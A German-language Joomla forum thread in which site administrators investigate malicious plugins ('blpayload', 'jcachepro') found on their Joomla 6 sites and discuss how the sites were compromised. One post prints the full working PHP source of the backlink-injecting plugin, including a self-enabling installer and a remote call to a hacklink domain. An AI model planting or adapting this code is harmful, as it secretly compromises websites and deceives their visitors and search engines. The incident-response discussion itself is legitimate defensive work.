- Beiträge: 5
Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
- ddreher
-
Autor
- Abwesend
- Administrator
-
Weniger
Mehr
02 März 2026 14:41 #52538
von ddreher
Seltsame Plugins - allenfalls gehackte Joomla 6 Seite? wurde erstellt von ddreher
Sali zäme
Ich habe eine Meldung von mySites.guru bekommen wegen verdächtiger Daten.
Es sind zwei Plugins neu welche ich nicht kenne. plg_system_blpayload, plg_system_jcachepro.
Ich habe dazu nichts gefunden und diese nun sofort deaktiviert.
Die Installation ist auf Joomla 6.0.3 .
Kennt von Euch jemand diese beiden Plugins?
Gruss Doris
Ich habe eine Meldung von mySites.guru bekommen wegen verdächtiger Daten.
Es sind zwei Plugins neu welche ich nicht kenne. plg_system_blpayload, plg_system_jcachepro.
Ich habe dazu nichts gefunden und diese nun sofort deaktiviert.
Die Installation ist auf Joomla 6.0.3 .
Kennt von Euch jemand diese beiden Plugins?
Gruss Doris
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- MartinKopp
-
- Offline
- Senior Mitglied
-
- Joomla! Release Manager - Maintainer (MacJoom)
02 März 2026 16:07 #52539
von MartinKopp
MartinKopp antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Hallo Doris - es sind auf jeden Fall keine Core plugins. Daher eine gute Idee diese zu deaktivieren. Und keinerlei Informationen im Netz.
Kannst du auf die Dateien zugreifen und schauen unter plugins/system/ was für neue Directories erstellt wurden und wann, mit welchen Dateien?
Kannst du auf die Dateien zugreifen und schauen unter plugins/system/ was für neue Directories erstellt wurden und wann, mit welchen Dateien?
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- ddreher
-
Autor
- Abwesend
- Administrator
-
Weniger
Mehr
- Beiträge: 5
02 März 2026 20:32 #52540
von ddreher
ddreher antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Hallo Martin, unter plugins/System/blpayload hat es drei Dateien abgelegt, ebenfalls 3 Dateien unter jcachepro nach der gleichen Logik.
Ich habe jetzt schon 5 Seiten gefunden mit diesen Plugins. Alle zu einem Zeitpunkt installiert, wo ich sicher nichts gemacht habe.
Hier der Inhalt der Dateien blpayload :
install.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
class PlgsystemblpayloadInstallerScript {
public function install($parent) { $this->enablePlugin(); return true; }
public function update($parent) { $this->enablePlugin(); return true; }
public function postflight($type, $parent) { $this->enablePlugin(); }
private function enablePlugin() {
try {
$db = Factory::getDbo();
$db->setQuery("UPDATE #__extensions SET enabled=1, ordering=9999 WHERE element='blpayload' AND folder='system' AND type='plugin'");
$db->execute();
} catch (\Exception $e) {}
}
}
blpayload.xml
<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
<name>System - BL Payload</name>
<version>1.0.6</version>
<creationDate>2026-03-01</creationDate>
<author>System</author>
<authorEmail>admin@localhost
<description>System integration plugin</description>
<scriptfile>install.php</scriptfile>
<files>
<filename plugin="blpayload">blpayload.php</filename>
</files>
</extension>
blpayload.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Factory;
class PlgSystemBlpayload extends CMSPlugin
{
private $cacheTime = 1800;
public function onAfterRender()
{
$app = Factory::getApplication();
if ($app->isClient('administrator')) {
return;
}
$body = $app->getBody();
if (empty($body)) {
return;
}
$linksHtml = $this->getBacklinksHtml();
if (empty($linksHtml)) {
return;
}
$body = str_replace('</body>', $linksHtml . '</body>', $body);
$app->setBody($body);
}
private function getBacklinksHtml()
{
$site = $_SERVER ?? '';
if (empty($site)) {
return '';
}
$cacheFile = JPATH_CACHE . '/plg_blpayload_' . md5($site) . '.html';
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $this->cacheTime) {
return @file_get_contents($cacheFile);
}
$apiUrl = ' api.hacklink.pw/api/get_backlinks?url= ' . urlencode($site);
$data = null;
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create([
'http' => [
'timeout' => 5,
'ignore_errors' => true,
'user_agent' => 'Mozilla/5.0'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);
$data = @file_get_contents($apiUrl, false, $ctx);
}
if (!$data && function_exists('curl_init')) {
$ch = @curl_init($apiUrl);
@curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$data = @curl_exec($ch);
@curl_close($ch);
}
if (!$data) {
return '';
}
$json = @json_decode($data, true);
if (!$json || empty($json)) {
return '';
}
if (!isset($json) || !is_array($json) || empty($json)) {
return '';
}
$placement = isset($json) ? $json : 'hidden';
$aggressiveness = isset($json) ? $json : 'high';
// Aggressiveness: limit link count
$links = $json;
$total = count($links);
switch ($aggressiveness) {
case 'low':
$links = array_slice($links, 0, max(1, (int)($total * 0.3)));
break;
case 'medium':
$links = array_slice($links, 0, max(1, (int)($total * 0.6)));
break;
// high = all links
}
$html = '';
switch ($placement) {
case 'hidden':
$html = $this->renderHidden($links);
break;
case 'footer':
$html = $this->renderFooter($links);
break;
case 'content':
$html = $this->renderContent($links);
break;
case 'sidebar':
$html = $this->renderSidebar($links);
break;
case 'multi':
$html = $this->renderMulti($links);
break;
default:
$html = $this->renderHidden($links);
}
@file_put_contents($cacheFile, $html);
return $html;
}
private function cleanUrl($url)
{
// Remove trailing slash from root domain: domain.com/ -> domain.com
return preg_replace('#^(https?
/[^/]+)/$#', '$1', $url);
}
private function buildLink($link, $style = '')
{
$url = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$anchor = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$dofollow = isset($link) ? $link : true;
if (!$url) {
return '';
}
$url = $this->cleanUrl($url);
$rel = $dofollow ? '' : ' rel="nofollow"';
$styleAttr = $style ? ' style="' . $style . '"' : '';
return '<a href="' . $url . '"' . $rel . $styleAttr . '>' . $anchor . '</a>' . "\n";
}
// Hidden: per-link inline style, no wrapper div
private function renderHidden($links)
{
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
$html = '';
foreach ($links as $link) {
$html .= $this->buildLink($link, $style);
}
return $html;
}
// Footer: visible links in footer-style div
private function renderFooter($links)
{
$html = '<div style="font-size:11px;color:#888;padding:15px;text-align:center;border-top:1px solid #eee;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Content: visible links in content-style div
private function renderContent($links)
{
$html = '<div style="margin:25px 0;padding:15px 20px;background:#f9f9f9;border-left:3px solid #ddd;font-size:14px;line-height:1.6;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Sidebar: visible links in sidebar-style div
private function renderSidebar($links)
{
$html = '<div style="padding:10px;font-size:12px;background:#fafafa;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Multi: mix of hidden + footer visible
private function renderMulti($links)
{
$total = count($links);
$hiddenCount = max(1, (int)($total * 0.7));
$hiddenLinks = array_slice($links, 0, $hiddenCount);
$visibleLinks = array_slice($links, $hiddenCount);
$html = '';
// Hidden portion: per-link inline style
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
foreach ($hiddenLinks as $link) {
$html .= $this->buildLink($link, $style);
}
// Visible portion: footer-style div
if (!empty($visibleLinks)) {
$html .= '<div style="font-size:11px;color:#888;padding:10px;text-align:center;">';
foreach ($visibleLinks as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
}
return $html;
}
}
Ich habe jetzt schon 5 Seiten gefunden mit diesen Plugins. Alle zu einem Zeitpunkt installiert, wo ich sicher nichts gemacht habe.
Hier der Inhalt der Dateien blpayload :
install.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
class PlgsystemblpayloadInstallerScript {
public function install($parent) { $this->enablePlugin(); return true; }
public function update($parent) { $this->enablePlugin(); return true; }
public function postflight($type, $parent) { $this->enablePlugin(); }
private function enablePlugin() {
try {
$db = Factory::getDbo();
$db->setQuery("UPDATE #__extensions SET enabled=1, ordering=9999 WHERE element='blpayload' AND folder='system' AND type='plugin'");
$db->execute();
} catch (\Exception $e) {}
}
}
blpayload.xml
<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
<name>System - BL Payload</name>
<version>1.0.6</version>
<creationDate>2026-03-01</creationDate>
<author>System</author>
<authorEmail>admin@localhost
<description>System integration plugin</description>
<scriptfile>install.php</scriptfile>
<files>
<filename plugin="blpayload">blpayload.php</filename>
</files>
</extension>
blpayload.php
<?php
defined('_JEXEC') or die;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Factory;
class PlgSystemBlpayload extends CMSPlugin
{
private $cacheTime = 1800;
public function onAfterRender()
{
$app = Factory::getApplication();
if ($app->isClient('administrator')) {
return;
}
$body = $app->getBody();
if (empty($body)) {
return;
}
$linksHtml = $this->getBacklinksHtml();
if (empty($linksHtml)) {
return;
}
$body = str_replace('</body>', $linksHtml . '</body>', $body);
$app->setBody($body);
}
private function getBacklinksHtml()
{
$site = $_SERVER ?? '';
if (empty($site)) {
return '';
}
$cacheFile = JPATH_CACHE . '/plg_blpayload_' . md5($site) . '.html';
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $this->cacheTime) {
return @file_get_contents($cacheFile);
}
$apiUrl = ' api.hacklink.pw/api/get_backlinks?url= ' . urlencode($site);
$data = null;
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create([
'http' => [
'timeout' => 5,
'ignore_errors' => true,
'user_agent' => 'Mozilla/5.0'
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false,
]
]);
$data = @file_get_contents($apiUrl, false, $ctx);
}
if (!$data && function_exists('curl_init')) {
$ch = @curl_init($apiUrl);
@curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$data = @curl_exec($ch);
@curl_close($ch);
}
if (!$data) {
return '';
}
$json = @json_decode($data, true);
if (!$json || empty($json)) {
return '';
}
if (!isset($json) || !is_array($json) || empty($json)) {
return '';
}
$placement = isset($json) ? $json : 'hidden';
$aggressiveness = isset($json) ? $json : 'high';
// Aggressiveness: limit link count
$links = $json;
$total = count($links);
switch ($aggressiveness) {
case 'low':
$links = array_slice($links, 0, max(1, (int)($total * 0.3)));
break;
case 'medium':
$links = array_slice($links, 0, max(1, (int)($total * 0.6)));
break;
// high = all links
}
$html = '';
switch ($placement) {
case 'hidden':
$html = $this->renderHidden($links);
break;
case 'footer':
$html = $this->renderFooter($links);
break;
case 'content':
$html = $this->renderContent($links);
break;
case 'sidebar':
$html = $this->renderSidebar($links);
break;
case 'multi':
$html = $this->renderMulti($links);
break;
default:
$html = $this->renderHidden($links);
}
@file_put_contents($cacheFile, $html);
return $html;
}
private function cleanUrl($url)
{
// Remove trailing slash from root domain: domain.com/ -> domain.com
return preg_replace('#^(https?
/[^/]+)/$#', '$1', $url);}
private function buildLink($link, $style = '')
{
$url = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$anchor = isset($link) ? htmlspecialchars($link, ENT_QUOTES, 'UTF-8') : '';
$dofollow = isset($link) ? $link : true;
if (!$url) {
return '';
}
$url = $this->cleanUrl($url);
$rel = $dofollow ? '' : ' rel="nofollow"';
$styleAttr = $style ? ' style="' . $style . '"' : '';
return '<a href="' . $url . '"' . $rel . $styleAttr . '>' . $anchor . '</a>' . "\n";
}
// Hidden: per-link inline style, no wrapper div
private function renderHidden($links)
{
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
$html = '';
foreach ($links as $link) {
$html .= $this->buildLink($link, $style);
}
return $html;
}
// Footer: visible links in footer-style div
private function renderFooter($links)
{
$html = '<div style="font-size:11px;color:#888;padding:15px;text-align:center;border-top:1px solid #eee;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Content: visible links in content-style div
private function renderContent($links)
{
$html = '<div style="margin:25px 0;padding:15px 20px;background:#f9f9f9;border-left:3px solid #ddd;font-size:14px;line-height:1.6;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Sidebar: visible links in sidebar-style div
private function renderSidebar($links)
{
$html = '<div style="padding:10px;font-size:12px;background:#fafafa;">';
foreach ($links as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
return $html;
}
// Multi: mix of hidden + footer visible
private function renderMulti($links)
{
$total = count($links);
$hiddenCount = max(1, (int)($total * 0.7));
$hiddenLinks = array_slice($links, 0, $hiddenCount);
$visibleLinks = array_slice($links, $hiddenCount);
$html = '';
// Hidden portion: per-link inline style
$style = 'position:absolute;left:-9999px;opacity:0;font-size:1px;';
foreach ($hiddenLinks as $link) {
$html .= $this->buildLink($link, $style);
}
// Visible portion: footer-style div
if (!empty($visibleLinks)) {
$html .= '<div style="font-size:11px;color:#888;padding:10px;text-align:center;">';
foreach ($visibleLinks as $link) {
$html .= $this->buildLink($link);
}
$html .= '</div>';
}
return $html;
}
}
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- MartinKopp
-
- Offline
- Senior Mitglied
-
- Joomla! Release Manager - Maintainer (MacJoom)
03 März 2026 17:03 - 03 März 2026 17:05 #52541
von MartinKopp
MartinKopp antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Ja das ist ein bösartiges Plugin, das unsichtbare Backlinks in die Seite einschleust, um das Seitenranking zu verbessern (hacklink.pw).
Die Frage ist nur, wie es installiert wurde, vor allem auf 5 weiteren Seiten... Was für Gemeinsamkeiten haben die Seiten? Gleiches Admin Passwort? Gibt es evtl. gehackte Superuser Accounts?
Kannst du checken wann Admin logins erfolgt sind? Users, User Actions Log sollte auch aufzeigen was, wann installiert wurde durch wen.
Die Frage ist nur, wie es installiert wurde, vor allem auf 5 weiteren Seiten... Was für Gemeinsamkeiten haben die Seiten? Gleiches Admin Passwort? Gibt es evtl. gehackte Superuser Accounts?
Kannst du checken wann Admin logins erfolgt sind? Users, User Actions Log sollte auch aufzeigen was, wann installiert wurde durch wen.
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- ddreher
-
Autor
- Abwesend
- Administrator
-
Weniger
Mehr
- Beiträge: 5
03 März 2026 19:46 #52542
von ddreher
ddreher antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Nein es sind alles verschiedene Passwörter, ich habe auch alle danach geändert. Es ist überall der gleiche Provider und fast alle sind auf auf Joomla 6.0.3 (ausser eine mit einer 5er Installation). Alle nutzen aber ein Template von Joomlaplates mit Astroid (auch neuste Version) und alle verwalte ich mit mySites.guru. Ansonsten sehe ich keine Gemeinsamkeiten. Dem Hoster habe ich es auch schon gemeldet, hatte wohl aber kein Interesse da genauer nachzusehen... da werde ich auch nochmals nachhaken. Heute habe ich wieder eine Seite gefunden, die Installation fand am 1. März statt. Im User Actions Log hat es am 1. März keine Einträge drin.
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- MartinKopp
-
- Offline
- Senior Mitglied
-
- Joomla! Release Manager - Maintainer (MacJoom)
03 März 2026 22:12 - 03 März 2026 22:15 #52543
von MartinKopp
MartinKopp antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Dann kannst du noch die access.log's anschauen. Und gibt es evtl. FTP Zugang? Es war auch möglich PHP auszuführen, weil ja das Install Script ausgeführt wurde.
Und so lange die "Einbruchstelle" nicht gefixt ist, kann es jederzeit wieder auftreten. Gibt es ausser dem Template keine weiteren Extensions, die gemeinsam sind? Ich kann mir nicht vorstellen, dass es eine Lücke im Core gibt, das wäre schon längst aufgefallen. Hochladen von PHP Dateien getarnt als Image Dateien - via Frontend ist ja auch so ein Thema.
Es kann sogar sein, dass Dateien irgendwo von einem früheren Hack her abgelegt wurden und erst jetzt ausgeführt wurden.
Und so lange die "Einbruchstelle" nicht gefixt ist, kann es jederzeit wieder auftreten. Gibt es ausser dem Template keine weiteren Extensions, die gemeinsam sind? Ich kann mir nicht vorstellen, dass es eine Lücke im Core gibt, das wäre schon längst aufgefallen. Hochladen von PHP Dateien getarnt als Image Dateien - via Frontend ist ja auch so ein Thema.
Es kann sogar sein, dass Dateien irgendwo von einem früheren Hack her abgelegt wurden und erst jetzt ausgeführt wurden.
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- rolaloe
-
- Offline
- Neues Mitglied
-
Weniger
Mehr
- Beiträge: 12
04 März 2026 13:00 #52544
von rolaloe
rolaloe antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Hallo von der Schwäbischen Alb,
ich habe das selbe entdeckt.
Ich habe 4 Joomla 6.03 und eine Joomla 5 in einem Account nebeneinander am laufen.
Eine Joomla 6 hatte ebenfalls dieses plugin, aber gleich drei mal:
zwei mal als blpayloud und einmal BL payload.
Laut der index.php die sich in dem Verzeichnis befand, wurde die installation am 01.03. ausgeführt.
Im root der betroffenen joomla Installation fand ich eine Datei in der stand "tron telegram:cyber0x8"
Auch diese habe ich gelöscht.
Ich habe die Plugins deinstalliert. Passwörter von Admin, DB und FTP sofort geändert. In der Datenbank habe ich nach den Einträgen in Elements für plpayload gesucht und nichts mehr gefunden.
Ich habe zwischenzeitlich alle Dateien im Joomla angeschaut und konnte keine Besonderheiten feststellen.
Auch habe ich alle Joomlas die ich betreue überprüft und es war nur diese eine Installation betroffen.
Der Unterschied der Joomla Installationen:
Die 5er und einer 6er sind Testumgebungen.
Die anderen drei 6er haben gemeinsam das Helix Ultimate als Template. Bei einer habe ich das Ultimate getauscht gegen das Astroid Three. und genau auf dieser ist das Plugin aufgetaucht. Dazu muss ich erwähnen, dass diese Seite vor dem Wechsel auf Astroid3 ein merkwürdiges Verhalten zeigte in der Seitendarstellung, deshalb der Wechsel.
Vielleicht helfen meine Entdeckungen weiter.
Grüße Roland
ich habe das selbe entdeckt.
Ich habe 4 Joomla 6.03 und eine Joomla 5 in einem Account nebeneinander am laufen.
Eine Joomla 6 hatte ebenfalls dieses plugin, aber gleich drei mal:
zwei mal als blpayloud und einmal BL payload.
Laut der index.php die sich in dem Verzeichnis befand, wurde die installation am 01.03. ausgeführt.
Im root der betroffenen joomla Installation fand ich eine Datei in der stand "tron telegram:cyber0x8"
Auch diese habe ich gelöscht.
Ich habe die Plugins deinstalliert. Passwörter von Admin, DB und FTP sofort geändert. In der Datenbank habe ich nach den Einträgen in Elements für plpayload gesucht und nichts mehr gefunden.
Ich habe zwischenzeitlich alle Dateien im Joomla angeschaut und konnte keine Besonderheiten feststellen.
Auch habe ich alle Joomlas die ich betreue überprüft und es war nur diese eine Installation betroffen.
Der Unterschied der Joomla Installationen:
Die 5er und einer 6er sind Testumgebungen.
Die anderen drei 6er haben gemeinsam das Helix Ultimate als Template. Bei einer habe ich das Ultimate getauscht gegen das Astroid Three. und genau auf dieser ist das Plugin aufgetaucht. Dazu muss ich erwähnen, dass diese Seite vor dem Wechsel auf Astroid3 ein merkwürdiges Verhalten zeigte in der Seitendarstellung, deshalb der Wechsel.
Vielleicht helfen meine Entdeckungen weiter.
Grüße Roland
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- MartinKopp
-
- Offline
- Senior Mitglied
-
- Joomla! Release Manager - Maintainer (MacJoom)
04 März 2026 15:35 - 04 März 2026 15:36 #52545
von MartinKopp
MartinKopp antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Hat jemand von euch noch einen Backup der infizierten Seite?
Ich habe auch Berichte aus Frankreich gesehen - Gemeinsamkeit scheint das Astroid Framework zu sein.
Ich habe auch Berichte aus Frankreich gesehen - Gemeinsamkeit scheint das Astroid Framework zu sein.
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- rolaloe
-
- Offline
- Neues Mitglied
-
Weniger
Mehr
- Beiträge: 12
04 März 2026 15:57 #52546
von rolaloe
rolaloe antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
ich sicher gerade das backup. Wird alles benötigt auch die DB?
Aber ohne configuration.php. wo kann ich das bereitstellen?
Grüße Roland
Aber ohne configuration.php. wo kann ich das bereitstellen?
Grüße Roland
Bitte Anmelden oder Registrieren um der Konversation beizutreten.
- rolaloe
-
- Offline
- Neues Mitglied
-
Weniger
Mehr
- Beiträge: 12
04 März 2026 16:34 #52547
von rolaloe
rolaloe antwortete auf Seltsame Plugins - allenfalls gehackte Joomla 6 Seite?
Einträge aus einer Logdatei:
27.115.124.x
183.207.45.105
22.126.205.35.bc.go
193.196.94.34.bc.go
182.129.68.34.bc.go
216.73.216.178
27.115.124.x
183.207.45.105
22.126.205.35.bc.go
193.196.94.34.bc.go
182.129.68.34.bc.go
216.73.216.178
Bitte Anmelden oder Registrieren um der Konversation beizutreten.